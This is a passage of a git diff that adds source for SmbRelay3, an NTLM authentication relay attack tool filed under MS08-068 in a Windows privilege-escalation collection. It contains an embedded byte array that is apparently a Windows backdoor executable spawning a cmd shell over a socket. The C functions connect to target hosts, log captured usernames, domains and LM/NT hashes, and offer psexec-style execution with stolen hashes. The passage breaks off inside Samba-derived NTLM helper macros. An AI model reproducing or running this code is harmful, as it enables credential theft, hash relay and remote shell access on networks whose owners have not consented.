0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x55, 0x8B, 0xEC, 0x81, 0xEC, 0xF4, 0x01, 0x00, 0x00, 0x53, 0x56, 0x57, 0x8D, 0x85, 0x0C, 0xFE, + 0xFF, 0xFF, 0x50, 0x68, 0x01, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x10, 0x20, 0x40, 0x00, 0x33, 0xF6, + 0x56, 0x56, 0x56, 0x6A, 0x06, 0x6A, 0x01, 0x6A, 0x02, 0xFF, 0x15, 0x0C, 0x20, 0x40, 0x00, 0x8B, + 0xF8, 0x6A, 0x10, 0x8D, 0x45, 0xF0, 0x50, 0x57, 0x66, 0xC7, 0x45, 0xF0, 0x02, 0x00, 0x66, 0xC7, + 0x45, 0xF2, 0x1F, 0x90, 0x89, 0x75, 0xF4, 0xFF, 0x15, 0x08, 0x20, 0x40, 0x00, 0x6A, 0x01, 0x57, + 0xFF, 0x15, 0x14, 0x20, 0x40, 0x00, 0x56, 0x8D, 0x45, 0xF0, 0x50, 0x57, 0xFF, 0x15, 0x18, 0x20, + 0x40, 0x00, 0x56, 0xBB, 0x28, 0x20, 0x40, 0x00, 0x53, 0x8B, 0xF8, 0xE8, 0x50, 0x00, 0x00, 0x00, + 0x59, 0x50, 0x53, 0x57, 0xFF, 0x15, 0x1C, 0x20, 0x40, 0x00, 0x8D, 0x45, 0x9C, 0x50, 0x8D, 0x45, + 0xAC, 0x50, 0x56, 0x56, 0x56, 0x6A, 0x01, 0x56, 0x56, 0x68, 0x24, 0x20, 0x40, 0x00, 0x56, 0xC7, + 0x45, 0xAC, 0x44, 0x00, 0x00, 0x00, 0x66, 0x89, 0x75, 0xDC, 0xC7, 0x45, 0xD8, 0x01, 0x01, 0x00, + 0x00, 0x89, 0x7D, 0xEC, 0x89, 0x7D, 0xE8, 0x89, 0x7D, 0xE4, 0x89, 0x75, 0xB8, 0x89, 0x75, 0xB4, + 0x89, 0x75, 0xE0, 0xFF, 0x15, 0x00, 0x20, 0x40, 0x00, 0x5F, 0x5E, 0x5B, 0xC9, 0xC2, 0x10, 0x00, + 0x8B, 0x4C, 0x24, 0x04, 0xF7, 0xC1, 0x03, 0x00, 0x00, 0x00, 0x74, 0x24, 0x8A, 0x01, 0x83, 0xC1, + 0x01, 0x84, 0xC0, 0x74, 0x4E, 0xF7, 0xC1, 0x03, 0x00, 0x00, 0x00, 0x75, 0xEF, 0x05, 0x00, 0x00, + 0x00, 0x00, 0x8D, 0xA4, 0x24, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xA4, 0x24, 0x00, 0x00, 0x00, 0x00, + 0x8B, 0x01, 0xBA, 0xFF, 0xFE, 0xFE, 0x7E, 0x03, 0xD0, 0x83, 0xF0, 0xFF, 0x33, 0xC2, 0x83, 0xC1, + 0x04, 0xA9, 0x00, 0x01, 0x01, 0x81, 0x74, 0xE8, 0x8B, 0x41, 0xFC, 0x84, 0xC0, 0x74, 0x32, 0x84, + 0xE4, 0x74, 0x24, 0xA9, 0x00, 0x00, 0xFF, 0x00, 0x74, 0x13, 0xA9, 0x00, 0x00, 0x00, 0xFF, 0x74, + 0x02, 0xEB, 0xCD, 0x8D, 0x41, 0xFF, 0x8B, 0x4C, 0x24, 0x04, 0x2B, 0xC1, 0xC3, 0x8D, 0x41, 0xFE, + 0x8B, 0x4C, 0x24, 0x04, 0x2B, 0xC1, 0xC3, 0x8D, 0x41, 0xFD, 0x8B, 0x4C, 0x24, 0x04, 0x2B, 0xC1, + 0xC3, 0x8D, 0x41, 0xFC, 0x8B, 0x4C, 0x24, 0x04, 0x2B, 0xC1, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xD6, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x80, 0xBC, 0x20, 0x00, 0x00, + 0x73, 0x00, 0x00, 0x80, 0x0D, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x80, 0x13, 0x00, 0x00, 0x80, + 0x00, 0x00, 0x00, 0x00, 0x63, 0x6D, 0x64, 0x00, 0x53, 0x6D, 0x62, 0x52, 0x65, 0x6C, 0x61, 0x79, + 0x33, 0x20, 0x53, 0x68, 0x65, 0x6C, 0x6C, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x20, + 0x2D, 0x20, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x74, 0x61, 0x72, + 0x61, 0x73, 0x63, 0x6F, 0x2E, 0x6F, 0x72, 0x67, 0x20, 0x0A, 0x0A, 0x00, 0xA0, 0x20, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCA, 0x20, 0x00, 0x00, 0x08, 0x20, 0x00, 0x00, + 0x98, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x20, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x80, 0xBC, 0x20, 0x00, 0x00, 0x73, 0x00, 0x00, 0x80, 0x0D, 0x00, 0x00, 0x80, + 0x01, 0x00, 0x00, 0x80, 0x13, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x57, 0x53, + 0x41, 0x53, 0x6F, 0x63, 0x6B, 0x65, 0x74, 0x41, 0x00, 0x00, 0x57, 0x53, 0x32, 0x5F, 0x33, 0x32, + 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x66, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72, + 0x6F, 0x63, 0x65, 0x73, 0x73, 0x41, 0x00, 0x00, 0x4B, 0x45, 0x52, 0x4E, 0x45, 0x4C, 0x33, 0x32, + 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; + FILE *fp=fopen(lpBackdoorFile,"rb"); + char *buffer; + int len; + if (!fp) { + printf("[-] %s not found. using cached version\n",lpBackdoorFile); + buffer=(char *)malloc(sizeof(SMRS)); + memcpy(buffer,SMRS,sizeof(SMRS)); + return(buffer); + } + fseek(fp,0,SEEK_END); + len=ftell(fp); + *BackdoorFileSize=len; + fseek(fp,0,SEEK_SET); + buffer=(char*)malloc(len); + fread(buffer,len,1,fp); + fclose(fp); + return(buffer); +} + + +int ConnectToRemoteHost(RELAY *relay,char *hostname, int port) +{ + #ifdef WIN32 + u_long tmp=1; + #else + int tmp=1; + #endif + fd_set fds; + struct timeval tv; + struct hostent *hostend; + int i; + + relay->destinationaddr.sin_family = AF_INET; + relay->destinationaddr.sin_addr.s_addr = inet_addr(hostname); + if (relay->destinationaddr.sin_addr.s_addr == INADDR_NONE) + { + hostend=gethostbyname(hostname); + if (!hostend) + { + return(0); + } + memcpy(&relay->destinationaddr.sin_addr.s_addr, hostend->h_addr, 4); + printf("[+] Remote Server %s resolved as %s\n",hostname,inet_ntoa(relay->destinationaddr.sin_addr)); + } + strcpy(relay->hostname,hostname); + relay->destinationaddr.sin_port = htons(port); //445 + relay->destination=socket(AF_INET, SOCK_STREAM, 0); + + #ifdef WIN32 + ioctlsocket(relay->destination, FIONBIO, &tmp); +#else + ioctl(relay->destination, FIONBIO, (char *)&tmp); +#endif + tv.tv_sec = CONNECT_TIMEOUT; + tv.tv_usec = 0; + FD_ZERO(&fds); + FD_SET(relay->destination, &fds); + + + connect(relay->destination,(struct sockaddr *)&relay->destinationaddr, sizeof(relay->destinationaddr)); + i=select((int)relay->destination+1,0,&fds,0,&tv); + if (i<=0){ + printf("[-] Error - Connection against %s:%i Failed\n",hostname,port); + return(0); + } + tmp=0; + #ifdef WIN32 + ioctlsocket( relay->destination, FIONBIO, &tmp); +#else + ioctl(relay->destination, FIONBIO, (char *)&tmp); +#endif + return(1); +} + + +int SendBytesAndWaitForResponse(SOCKET destination,char *source, int nBytes, char *destinationBuffer, int MaxReadSize,int timeout) +{ + int i=-1; + #ifdef WIN32 + u_long tmp=1; + #else + int tmp=1; + #endif + fd_set fds; + struct timeval tv; + + if (debug) { + printf("Sending..\n"); + DumpMem(source,nBytes); + } + +// if (send(destination, source, nBytes,0) >0) { + if (timeout>0) + { + #ifdef WIN32 + ioctlsocket(destination, FIONBIO, &tmp); + #else + ioctl(destination, FIONBIO, (char *)&tmp); + #endif + send(destination, source, nBytes,0); + tv.tv_sec = timeout; + tv.tv_usec = 0; + FD_ZERO(&fds); + FD_SET(destination, &fds); + //printf("Esperando Timeout: %i\n",timeout); + i=select((int)destination+1,&fds,0,0,&tv); + //printf("saliendo select: %i\n",i); + if (i<=0) return(-1); + } else { + send(destination, source, nBytes,0); + } + i=recv(destination, (char *)destinationBuffer, MaxReadSize, 0); + if (timeout>0) + { + tmp=0; + #ifdef WIN32 + ioctlsocket(destination, FIONBIO, &tmp); + #else + ioctl(destination, FIONBIO, (char *)&tmp); + #endif + } + if (debug) + { + printf("[*] received: %i bytes\n",i); + DumpMem(destinationBuffer,i); + } +// } + //printf("salimos...: %i\n",i); + return(i); +} + +void WriteDataToReportFile(char *lpLogFileFilename, tSmbNtlmAuthResponse* NtlmAuthResponse, char *SourceIpAddress,unsigned char *challenge) +{ + char buffer[1024]; + char tmp[256]; + FILE *LogFile=NULL; + char UserName[256]; + char Domain[256]; + char Workstation[256]; + unsigned char *p; + int i; + + + LogFile=fopen(lpLogFileFilename,"a+"); + strcpy(tmp,"#SOURCEIPADDRESS:DOMAIN:WORKSTATION:USERNAME:challenge:LMHASH:NTLMHASH\n"); + fwrite(tmp,strlen(tmp),1,LogFile); + + GetNTLMPacketInfo(NtlmAuthResponse,(char*)&UserName, (char*)&Domain, (char*)&Workstation,0); + sprintf(buffer,"%s:%s:%s:%s:",SourceIpAddress,Domain,Workstation,UserName); + //Challenge: + sprintf(tmp,"%2.2x%2.2x%2.2x%2.2x%2.2x%2.2x%2.2x%2.2x:",challenge[0],challenge[1],challenge[2],challenge[3],challenge[4],challenge[5],challenge[6],challenge[7]); + strcat(buffer,tmp); + //LM HASH + p=(unsigned char *)NtlmAuthResponse + NtlmAuthResponse->lmResponse.offset; + //printf("LM\n"); + //DumpMem(p,24); + for(i=0;i<24;i++) {sprintf(tmp,"%2.2x",p[i]); strcat(buffer,tmp); } + strcat(buffer,":"); + //NT HASH + p=(unsigned char *)NtlmAuthResponse + NtlmAuthResponse->ntResponse.offset; + for(i=0;i<24;i++) {sprintf(tmp,"%2.2x",p[i]); strcat(buffer,tmp); } + fwrite(buffer,strlen(buffer),1,LogFile); + fclose(LogFile); + + +} + + +void CleanLine(int verbose) +{ + if (verbose>0) printf("\n"); + else printf(" \r"); +} + + +void Banner(void) +{ + printf("SmbRelay3 - NTLM Authentication replay attacks\n"); + printf(" (c) 2007 - 2008 Andres & Miguel Tarasco \n"); + printf(" Web Site - http://www.tarasco.org\n\n"); +} + +void usage(void){ + + printf("Usage: SMBRelay3.exe [options]\n\n"); + printf("Binding Parameters:\n"); + printf(" --ListForSMBRequests (Wait for incomming connections against port 445)\n"); + printf(" --ListForHTTPRequests (Wait for incomming connections against port 80)\n"); + printf(" --ListForSMTPRequests (Wait for incomming connections against port 25)\n"); + printf(" --ListForIMAPRequests (Wait for incomming connections against port 143)\n"); + printf(" --ListForPOP3Requests (Wait for incomming connections against port 110)\n"); + printf(" --psexec (psexec like tool)\n"); + printf(" --psexec <:NTLMHash> (psexec like tool)\n"); + + + printf("\nOptional Parameters\n"); +// printf(" --ProxySMB (Force Challenge 0x1122334455667788 for cracking)\n"); + printf(" --AlternativeSrcPort (Listen under different Port)\n"); + printf(" --AlternativeDstPort (Connect to a different SMB Port)\n"); + printf(" --SMBDestinationHost (Replay attack against third part host)\n"); + printf(" --SrcHostname (Spoof incoming client name for Win2k (default smbrelay)\n"); + + printf(" --ftp (download smrs.exe from remote ftp server)\n"); + printf(" --v[v] (Displays verbose information )\n"); + + printf("\n"); + printf("Example: smrelay3.exe --ListForHTTPRequests --AlternativeSrcPort 8080 --SMBDestinationHost dc.mydomain.com\n"); + exit(1); +} + + diff --git a/97-Windows提权/MS08-068/src/misc.h b/97-Windows提权/MS08-068/src/misc.h new file mode 100644 index 0000000..8399417 --- /dev/null +++ b/97-Windows提权/MS08-068/src/misc.h @@ -0,0 +1,67 @@ +/* + Misc data manipulation functions for Smbrelay + Andres Tarasco +*/ +#ifndef _MISC_FUNCTIONS_H_ +#define _MISC_FUNCTIONS_H_ +#define _CRT_SECURE_NO_DEPRECATE + +#include + + +#pragma pack(1) +#ifdef WIN32 +#include +#include +#else + #pragma align 1 + #include + #include + #include + #include + #include + #include + #include + #include //pthread + #include //toupper + #include + #include +#define SOCKET int +#define _strnicmp strncasecmp +#define closesocket close +#define Sleep(a) sleep(a/1000) +#define INVALID_SOCKET -1 +#endif +//#include "smbrelay.h" +#include "ntlm.h" + +typedef struct +{ + SOCKET source; + struct sockaddr_in sourceaddr; + + SOCKET destination; + struct sockaddr_in destinationaddr; + + int dstProtocol; + char hostname[256]; +} RELAY; + +#define CONNECT_TIMEOUT 10 +#define SMBWAITTIMEOUT 5 +#define DBG_DUMP_ROWS 16 + + +void DumpMem(void* string, int length) ; +char *ReadFileToSend(int *BackdoorFileSize,char*lpBackdoorFile); + +int ConnectToRemoteHost(RELAY *relay,char *hostname, int port); +//int SendBytesAndWaitForResponse(RELAY *relay,char *source, int nBytes, char *destination, int MaxReadSize,int timeout); +int SendBytesAndWaitForResponse(SOCKET destination,char *source, int nBytes, char *destinationBuffer, int MaxReadSize,int timeout); +void WriteDataToReportFile(char *lpLogFileFilename, tSmbNtlmAuthResponse* NtlmAuthResponse, char *SourceIpAddress,unsigned char *challenge); +void CleanLine(int verbose); +void usage(void); +void Banner(void); + +#endif + diff --git a/97-Windows提权/MS08-068/src/ntlm.cpp b/97-Windows提权/MS08-068/src/ntlm.cpp new file mode 100644 index 0000000..140b39a --- /dev/null +++ b/97-Windows提权/MS08-068/src/ntlm.cpp @@ -0,0 +1,1745 @@ + +/* $Id$ + Single file NTLM system to create and parse authentication messages. + + http://www.reversing.org + ilo-- ilo@reversing.org + + I did copy&paste&modify several files to leave independent NTLM code + that compile in cygwin/linux environment. Most of the code was ripped + from Samba implementation so I left the Copying statement. Samba core + code was left unmodified from 1.9 version. + + Also libntlm was ripped but rewrote, due to fixed and useless interface. + Library oriented code was removed. (c) goes to: Simon Josefsson. + + Information about interface to this ntlm-system is in ntlm.h file. + + Unix SMB/Netbios implementation. + Version 1.9. + SMB parameters and setup + Copyright (C) Andrew Tridgell 1992-1998 + Modified by Jeremy Allison 1995. + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + NOTE: Some modifications have been added to this library to allow better interaction with smbrelay3 + http://www.tarasco.org + Andres Tarasco - atarasco@gmail.com +*/ +#define _CRT_SECURE_NO_DEPRECATE + + +#include "ntlm.h" +#include "misc.h" + +#define WORD unsigned short + + +/* Byte order macros */ +#ifndef _BYTEORDER_H +#define _BYTEORDER_H + +/* + This file implements macros for machine independent short and + int manipulation + +Here is a description of this file that I emailed to the samba list once: + +> I am confused about the way that byteorder.h works in Samba. I have +> looked at it, and I would have thought that you might make a distinction +> between LE and BE machines, but you only seem to distinguish between 386 +> and all other architectures. +> +> Can you give me a clue? + +sure. + +The distinction between 386 and other architectures is only there as +an optimisation. You can take it out completely and it will make no +difference. The routines (macros) in byteorder.h are totally byteorder +independent. The 386 optimsation just takes advantage of the fact that +the x86 processors don't care about alignment, so we don't have to +align ints on int boundaries etc. If there are other processors out +there that aren't alignment sensitive then you could also define +CAREFUL_ALIGNMENT=0 on those processors as well. + +Ok, now to the macros themselves. I'll take a simple example, say we +want to extract a 2 byte integer from a SMB packet and put it into a +type called uint16 that is in the local machines byte order, and you +want to do it with only the assumption that uint16 is _at_least_ 16 +bits long (this last condition is very important for architectures +that don't have any int types that are 2 bytes long) + +You do this: + +#define CVAL(buf,pos) (((unsigned char *)(buf))[pos]) +#define PVAL(buf,pos) ((unsigned)CVAL(buf,pos)) +#define SVAL(buf,pos) (PVAL(buf,pos)|PVAL(buf,(pos)+1)<<8) + +then to extract a uint16 value at offset 25 in a buffer you do this: + +char *buffer = foo_bar(); +uint16 xx = SVAL(buffer,25); + +We are using the byteoder independence of the ANSI C bitshifts to do +the work. A good optimising compiler should turn this into efficient +code, especially if it happens to have the right byteorder :-) + +I know these macros can be made a bit tidier by removing some of the +casts, but you need to look at byteorder.h as a whole to see the +reasoning behind them. byteorder.h defines the following macros: + +SVAL(buf,pos) - extract a 2 byte SMB value +IVAL(buf,pos) - extract a 4 byte SMB value +SVALS(buf,pos) signed version of SVAL() +IVALS(buf,pos) signed version of IVAL() + +SSVAL(buf,pos,val) - put a 2 byte SMB value into a buffer +SIVAL(buf,pos,val) - put a 4 byte SMB value into a buffer +SSVALS(buf,pos,val) - signed version of SSVAL() +SIVALS(buf,pos,val) - signed version of SIVAL() + +RSVAL(buf,pos) - like SVAL() but for NMB byte ordering +RSVALS(buf,pos) - like SVALS() but for NMB byte ordering +RIVAL(buf,pos) - like IVAL() but for NMB byte ordering +RIVALS(buf,pos) - like IVALS() but for NMB byte ordering +RSSVAL(buf,pos,val) - like SSVAL() but for NMB ordering +RSIVAL(buf,pos,val) - like SIVAL() but for NMB ordering +RSIVALS(buf,pos,val) - like SIVALS() but for NMB ordering + +it also defines lots of intermediate macros, just ignore those :-) + +*/ + +/* some switch macros that do both store and read to and from SMB buffers */ + +#define RW_PCVAL(read,inbuf,outbuf,len) \ + { if (read) { PCVAL (inbuf,0,outbuf,len); } \ + else { PSCVAL(inbuf,0,outbuf,len); } } + +#define RW_PIVAL(read,big_endian,inbuf,outbuf,len) \ + { if (read) { if (big_endian) { RPIVAL(inbuf,0,outbuf,len); } else { PIVAL(inbuf,0,outbuf,len); } } \ + else { if (big_endian) { RPSIVAL(inbuf,0,outbuf,len); } else { PSIVAL(inbuf,0,outbuf,len); } } } + +#define RW_PSVAL(read,big_endian,inbuf,outbuf,len) \ + { if (read) { if (big_endian) { RPSVAL(inbuf,0,outbuf,len); } else { PSVAL(inbuf,0,outbuf,len); } } \ + else { if (big_endian) { RPSSVAL(inbuf,0,outbuf,len); } else { PSSVAL(inbuf,0,outbuf,len); } } } + +#define RW_CVAL(read, inbuf, outbuf, offset) \ + { if (read) { (outbuf) = CVAL (inbuf,offset); } \ + else { SCVAL(inbuf,offset,outbuf); } } + +#define RW_IVAL(read, big_endian, inbuf, outbuf, offset) \ + { if (read) { (outbuf) = ((big_endian) ? RIVAL(inbuf,offset) : IVAL (inbuf,offset)); } \ + else { if (big_endian) { RSIVAL(inbuf,offset,outbuf); } else { SIVAL(inbuf,offset,outbuf); } } } + +#define RW_SVAL(read, big_endian, inbuf, outbuf, offset) \ + { if (read) { (outbuf) = ((big_endian) ? RSVAL(inbuf,offset) : SVAL (inbuf,offset)); } \ + else { if (big_endian) { RSSVAL(inbuf,offset,outbuf); } else { SSVAL(inbuf,offset,outbuf); } } } + +#undef CAREFUL_ALIGNMENT + +/* we know that the 386 can handle misalignment and has the "right" + byteorder */ +#ifdef __i386__ +#define CAREFUL_ALIGNMENT 0 +#endif + +#ifndef CAREFUL_ALIGNMENT +#define CAREFUL_ALIGNMENT 1 +#endif + +#define CVAL(buf,pos) (((unsigned char *)(buf))[pos]) +#define PVAL(buf,pos) ((unsigned)CVAL(buf,pos)) +#define SCVAL(buf,pos,val) (CVAL(buf,pos) = (val)) + + +#if CAREFUL_ALIGNMENT + +#define SVAL(buf,pos) (PVAL(buf,pos)|PVAL(buf,(pos)+1)<<8) +#define IVAL(buf,pos) (SVAL(buf,pos)|SVAL(buf,(pos)+2)<<16) +#define SSVALX(buf,pos,val) (CVAL(buf,pos)=(val)&0xFF,CVAL(buf,pos+1)=(val)>>8) +#define SIVALX(buf,pos,val) (SSVALX(buf,pos,val&0xFFFF),SSVALX(buf,pos+2,val>>16)) +#define SVALS(buf,pos) ((int16)SVAL(buf,pos)) +#define IVALS(buf,pos) ((int32)IVAL(buf,pos)) +#define SSVAL(buf,pos,val) SSVALX((buf),(pos),((uint16)(val))) +#define SIVAL(buf,pos,val) SIVALX((buf),(pos),((uint32)(val))) +#define SSVALS(buf,pos,val) SSVALX((buf),(pos),((int16)(val))) +#define SIVALS(buf,pos,val) SIVALX((buf),(pos),((int32)(val))) + +#else /* CAREFUL_ALIGNMENT */ + +/* this handles things for architectures like the 386 that can handle + alignment errors */ +/* + WARNING: This section is dependent on the length of int16 and int32 + being correct +*/ + +/* get single value from an SMB buffer */ +#define SVAL(buf,pos) (*(uint16 *)((char *)(buf) + (pos))) +#define IVAL(buf,pos) (*(uint32 *)((char *)(buf) + (pos))) +#define SVALS(buf,pos) (*(int16 *)((char *)(buf) + (pos))) +#define IVALS(buf,pos) (*(int32 *)((char *)(buf) + (pos))) + +/* store single value in an SMB buffer */ +#define SSVAL(buf,pos,val) SVAL(buf,pos)=((uint16)(val)) +#define SIVAL(buf,pos,val) IVAL(buf,pos)=((uint32)(val)) +#define SSVALS(buf,pos,val) SVALS(buf,pos)=((int16)(val)) +#define SIVALS(buf,pos,val) IVALS(buf,pos)=((int32)(val)) + +#endif /* CAREFUL_ALIGNMENT */ + +/* macros for reading / writing arrays */ + +#define SMBMACRO(macro,buf,pos,val,len,size) \ +{ int l; for (l = 0; l < (len); l++) (val)[l] = macro((buf), (pos) + (size)*l); } + +#define SSMBMACRO(macro,buf,pos,val,len,size) \ +{ int l; for (l = 0; l < (len); l++) macro((buf), (pos) + (size)*l, (val)[l]); } + +/* reads multiple data from an SMB buffer */ +#define PCVAL(buf,pos,val,len) SMBMACRO(CVAL,buf,pos,val,len,1) +#define PSVAL(buf,pos,val,len) SMBMACRO(SVAL,buf,pos,val,len,2) +#define PIVAL(buf,pos,val,len) SMBMACRO(IVAL,buf,pos,val,len,4) +#define PCVALS(buf,pos,val,len) SMBMACRO(CVALS,buf,pos,val,len,1) +#define PSVALS(buf,pos,val,len) SMBMACRO(SVALS,buf,pos,val,len,2) +#define PIVALS(buf,pos,val,len) SMBMACRO(IVALS,buf,pos,val,len,4) + +/* stores multiple data in an SMB buffer */ +#define PSCVAL(buf,pos,val,len) SSMBMACRO(SCVAL,buf,pos,val,len,1) +#define PSSVAL(buf,pos,val,len) SSMBMACRO(SSVAL,buf,pos,val,len,2) +#define PSIVAL(buf,pos,val,len) SSMBMACRO(SIVAL,buf,pos,val,len,4) +#define PSCVALS(buf,pos,val,len) SSMBMACRO(SCVALS,buf,pos,val,len,1) +#define PSSVALS(buf,pos,val,len) SSMBMACRO(SSVALS,buf,pos,val,len,2) +#define PSIVALS(buf,pos,val,len) SSMBMACRO(SIVALS,buf,pos,val,len,4) + + +/* now the reverse routines - these are used in nmb packets (mostly) */ +#define SREV(x) ((((x)&0xFF)<<8) | (((x)>>8)&0xFF)) +#define IREV(x) ((SREV(x)<<16) | (SREV((x)>>16))) + +#define RSVAL(buf,pos) SREV(SVAL(buf,pos)) +#define RSVALS(buf,pos) SREV(SVALS(buf,pos)) +#define RIVAL(buf,pos) IREV(IVAL(buf,pos)) +#define RIVALS(buf,pos) IREV(IVALS(buf,pos)) +#define RSSVAL(buf,pos,val) SSVAL(buf,pos,SREV(val)) +#define RSSVALS(buf,pos,val) 